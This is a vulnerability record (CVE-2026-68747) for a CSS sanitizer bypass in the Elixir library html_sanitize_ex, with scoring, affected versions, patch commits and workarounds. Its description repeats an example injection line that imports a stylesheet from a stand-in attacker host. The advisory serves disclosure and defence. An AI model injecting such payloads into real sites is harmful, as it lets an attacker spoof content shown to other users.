CVE-2026-68747 (GCVE-0-2026-68747)

Vulnerability from cvelistv5 – Published: 2026-08-06 14:50 – Updated: 2026-08-19 11:50
VLAI
Title
CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
Summary
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Severity
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-06 15:43 UTC
CWE
  • CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Assigner
EEF CNA under the mitre root
CNA scorecard A 96/100 over 318 records in the last 180 days details
References
Impacted products
Vendor Product Version CPE status
rrrene html_sanitize_ex Affected: 0.3.1 , < 1.4.5 (semver)
Affected: 1.5.0-rc.0 , < 1.5.4 (semver)
    cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*
Create a notification for this product.
rrrene html_sanitize_ex Affected: 21f90012eb21aa36f4e3701b7547e12faf0f3c8b , < * (git)
    cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*
Create a notification for this product.
Credits
Peter Ullrich Jonatan Männchen / EEF René Föhring
Show details on NVD website
To clipboard 

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            "lang": "en",
            "value": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027) vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4."
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            "value": "vulnerabilidad de Neutralizaci\u00f3n Incorrecta de Elementos Especiales en la Salida Utilizada por un Componente Descendente (\u2019Inyecci\u00f3n\u2019) en el depurador CSS de rrrene html_sanitize_ex permite a un atacante remoto no autenticado inyectar reglas-arroba CSS, incluyendo una importaci\u00f3n de una hoja de estilo remota, en una p\u00e1gina servida a otros usuarios. HtmlSanitizeEx.Scrubber.CSS.scrub/1 aplica su lista blanca de propiedades y valores a trav\u00e9s de un Regex.replace sobre subcadenas que coinciden con un patr\u00f3n de declaraci\u00f3n propiedad: valor, por lo que la entrada que no coincide con ese patr\u00f3n nunca es inspeccionada y se copia a la salida sin cambios. @import url(//atacante.example/style.css); sobrevive, mientras que la misma URL dentro de una declaraci\u00f3n background: url(...) es eliminada.\n\nLos l\u00edmites de los elementos se resuelven antes de que se ejecute el depurador, por lo que el contenido inyectado no escapa del elemento [style] y ning\u00fan script se ejecuta.\n\nEste problema afecta a html_sanitize_ex: desde 0.3.1 antes de 1.5.4."
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        "id": "CVE-2026-68747",
        "lastModified": "2026-10-23T21:10:00.157",
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              "exploitabilityScore": 2.8,
              "impactScore": 2.7,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 2.3,
                "baseSeverity": "LOW",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "LOW",
                "userInteraction": "PASSIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-68747",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-06T15:43:31.189847Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-06T16:16:51.533",
        "references": [
          {
            "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://cna.erlef.org/cves/CVE-2026-68747.html"
          },
          {
            "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308"
          },
          {
            "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "url": "https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28"
          },
          {
            "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "tags": [
              "Broken Link"
            ],
            "url": "https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7"
          },
          {
            "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://osv.dev/vulnerability/EEF-CVE-2026-68747"
          }
        ],
        "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "vulnStatus": "Modified",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-74"
              }
            ],
            "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-68747",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-06T15:43:31.189847Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-06T15:43:34.159Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.HtmlSanitizeEx.Scrubber.CSS\u0027",
                "\u0027Elixir.HtmlSanitizeEx\u0027"
              ],
              "packageName": "html_sanitize_ex",
              "packageURL": "pkg:hex/html_sanitize_ex",
              "product": "html_sanitize_ex",
              "programFiles": [
                "lib/html_sanitize_ex/scrubber/css.ex",
                "lib/html_sanitize_ex.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.HtmlSanitizeEx.Scrubber.CSS\u0027:scrub/1"
                },
                {
                  "name": "\u0027Elixir.HtmlSanitizeEx\u0027:html5/1"
                }
              ],
              "repo": "https://github.com/rrrene/html_sanitize_ex",
              "vendor": "rrrene",
              "versions": [
                {
                  "lessThan": "1.4.5",
                  "status": "affected",
                  "version": "0.3.1",
                  "versionType": "semver"
                },
                {
                  "lessThan": "1.5.4",
                  "status": "affected",
                  "version": "1.5.0-rc.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.HtmlSanitizeEx.Scrubber.CSS\u0027",
                "\u0027Elixir.HtmlSanitizeEx\u0027"
              ],
              "packageName": "rrrene/html_sanitize_ex",
              "packageURL": "pkg:github/rrrene/html_sanitize_ex",
              "product": "html_sanitize_ex",
              "programFiles": [
                "lib/html_sanitize_ex/scrubber/css.ex",
                "lib/html_sanitize_ex.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.HtmlSanitizeEx.Scrubber.CSS\u0027:scrub/1"
                },
                {
                  "name": "\u0027Elixir.HtmlSanitizeEx\u0027:html5/1"
                }
              ],
              "repo": "https://github.com/rrrene/html_sanitize_ex",
              "vendor": "rrrene",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "0b9f9ad63a7529d4f2c3c1134c371adc3e654308",
                      "status": "unaffected"
                    },
                    {
                      "at": "c311a499db0b0baef06493fb3cfeb730c0f18f28",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "21f90012eb21aa36f4e3701b7547e12faf0f3c8b",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eOnly \u003ccode\u003eHtmlSanitizeEx.html5/1\u003c/code\u003e, and custom scrubbers declared with \u003ccode\u003euse HtmlSanitizeEx, extend: :html5\u003c/code\u003e, permit \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e elements, and the sanitized output must be rendered to other users. Applications calling \u003ccode\u003eHtmlSanitizeEx.Scrubber.CSS.scrub/1\u003c/code\u003e directly are also affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Only `HtmlSanitizeEx.html5/1`, and custom scrubbers declared with `use HtmlSanitizeEx, extend: :html5`, permit `\u003cstyle\u003e` elements, and the sanitized output must be rendered to other users. Applications calling `HtmlSanitizeEx.Scrubber.CSS.scrub/1` directly are also affected."
                }
              ],
              "value": "Only HtmlSanitizeEx.html5/1, and custom scrubbers declared with use HtmlSanitizeEx, extend: :html5, permit \u003cstyle\u003e elements, and the sanitized output must be rendered to other users. Applications calling HtmlSanitizeEx.Scrubber.CSS.scrub/1 directly are also affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "1.4.5",
                      "versionStartIncluding": "0.3.1",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "1.5.4",
                      "versionStartIncluding": "1.5.0-rc.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Ren\u00e9 F\u00f6hring"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027) vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. \u003ccode\u003eHtmlSanitizeEx.Scrubber.CSS.scrub/1\u003c/code\u003e applies its property and value allowlist through a \u003ccode\u003eRegex.replace\u003c/code\u003e over substrings matching a \u003ccode\u003eproperty: value\u003c/code\u003e declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. \u003ccode\u003e@import url(//attacker.example/style.css);\u003c/code\u003e survives, while the same URL inside a \u003ccode\u003ebackground: url(...)\u003c/code\u003e declaration is removed.\u003c/p\u003e\n\u003cp\u003eElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e element and no script executes.\u003c/p\u003e\n\u003cp\u003eThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027) vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. `HtmlSanitizeEx.Scrubber.CSS.scrub/1` applies its property and value allowlist through a `Regex.replace` over substrings matching a `property: value` declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. `@import url(//attacker.example/style.css);` survives, while the same URL inside a `background: url(...)` declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the `\u003cstyle\u003e` element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4."
                }
              ],
              "value": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027) vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-148",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-148 Content Spoofing"
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 2.3,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "LOW",
                "userInteraction": "PASSIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-74",
                  "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-19T11:50:10.843Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7"
            },
            {
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-68747.html"
            },
            {
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-68747"
            },
            {
              "tags": [
                "patch"
              ],
              "url": "https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308"
            },
            {
              "tags": [
                "patch"
              ],
              "url": "https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eSanitize with \u003ccode\u003ebasic_html/1\u003c/code\u003e, \u003ccode\u003emarkdown_html/1\u003c/code\u003e or \u003ccode\u003estrip_tags/1\u003c/code\u003e, none of which allow \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e elements, or define a custom scrubber that omits it.\u003c/p\u003e\n\u003cp\u003eA Content-Security-Policy \u003ccode\u003estyle-src\u003c/code\u003e directive that permits no external stylesheet origins stops an injected \u003ccode\u003e@import\u003c/code\u003e from loading, though injected inline rules still apply.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Sanitize with `basic_html/1`, `markdown_html/1` or `strip_tags/1`, none of which allow `\u003cstyle\u003e` elements, or define a custom scrubber that omits it.\n\nA Content-Security-Policy `style-src` directive that permits no external stylesheet origins stops an injected `@import` from loading, though injected inline rules still apply."
                }
              ],
              "value": "Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow \u003cstyle\u003e elements, or define a custom scrubber that omits it.\n\nA Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-68747",
        "datePublished": "2026-08-06T14:50:03.143Z",
        "dateReserved": "2026-07-31T13:23:00.355Z",
        "dateUpdated": "2026-08-19T11:50:10.843Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}



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